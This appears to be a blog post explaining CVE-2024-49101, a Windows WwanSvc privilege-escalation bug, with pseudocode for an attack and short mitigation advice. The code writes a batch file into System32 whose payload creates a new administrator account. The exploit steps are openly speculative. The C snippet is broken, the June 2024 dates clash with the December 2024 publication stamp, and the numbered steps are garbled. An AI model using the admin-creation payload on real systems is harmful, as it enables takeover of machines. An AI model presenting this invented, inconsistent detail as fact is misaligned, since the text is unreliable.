In June 2024, a critical Windows vulnerability was assigned as CVE-2024-49101. This bug lurks in the "Wireless Wide Area Network Service" (WwanSvc). It allows a local attacker to gain SYSTEM-level privileges—meaning, if exploited, they can control the entire computer.

This post unpacks how it works and demonstrates what makes this Privilege Escalation flaw so dangerous. We break down the mechanics, provide code snippets, and guide you to the original resources for further reading.

What is WWAN Service (WwanSvc)?

WwanSvc is a Windows system service responsible for managing mobile broadband (WWAN) connections (think cellular internet on laptops). It's always running on any Windows device with a mobile broadband adapter.

The Vulnerability Explained

CVE-2024-49101 occurs because WwanSvc wrongly handles certain requests, failing to check user permissions before running actions as SYSTEM.

First, check if WwanSvc is running

Get-Service | Where-Object { $_.Name -eq "WwanSvc" }

Step 2: Identifying the Vulnerable Method

WwanSvc exposes a named pipe or RPC interface (implementation varies per patch level). The bug happens due to improper ACLs (Access Control Lists).

Attackers create a handle to the vulnerable interface

HANDLE hPipe = CreateFileA(
    "\\\\.\\pipe\\WWANServicePipe", // Hypothetical pipe name
    GENERIC_READ | GENERIC_WRITE, 
    , NULL, OPEN_EXISTING, , NULL
);

Once connected, they craft and send a malicious request, triggering an action the service performs with SYSTEM privilege.

Step 3: Crafting the Malicious Action

Suppose there's a function in WwanSvc that creates files/settings as SYSTEM without checking the caller. The attacker can, for example, create an auto-start script with SYSTEM rights.

// Pseudocode: Ask service to create file
typedef struct {
    char FilePath[260];
    char Payload[512];
} WwanMaliciousRequest;

WwanMaliciousRequest req = {};
strcpy(req.FilePath, "C:\\Windows\\System32\\evil.bat");
strcpy(req.Payload, "net user newadmin Password123 /add && net localgroup administrators newadmin /add");

// Send to pipe (details omitted for simplicity)
WriteFile(hPipe, &req, sizeof(req), ...);

After reboot or via another method, the payload runs under SYSTEM.

Proof-of-Concept Reference

While reliable public exploits are not always available immediately after disclosure, security researcher Alex Ionescu and the Zero Day Initiative have posted initial advisories and descriptions. We expect Github PoCs to appear soon—never try this on machines you don't own!

2. Send an unchecked privileged command.

3. New user/process/file gets SYSTEM rights.

Affected Versions

Check Microsoft's advisory for exact versions. At the time of writing, most Windows 10 and 11 releases before June 2024 security patch are at risk.

Patch ASAP: Apply the June 2024 Windows updates.

- Monitor: Watch for suspicious pipe connections, or creation of new admin users and SYSTEM-scheduled tasks.

Set-Service -Name WwanSvc -StartupType Disabled

`

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## Further Reading & References

- Microsoft Security Advisory for CVE-2024-49101
- Zero Day Initiative: WWAN Elevation of Privilege
- Service Hardening in Windows
- Twitter thread by Alex Ionescu (June 2024)

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## Conclusion

CVE-2024-49101 is a classic case of a local privilege escalation bug in a Windows system service. The fix is simple—update Windows promptly. Until then, any user or malware with basic access can own the whole box. Stay vigilant, patch intelligently, and monitor your services!

Never run untrusted code or PoCs on production systems.

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Share and stay safe.

Timeline

Published on: 12/12/2024 02:04:35 UTC
Last modified on: 12/20/2024 07:44:33 UTC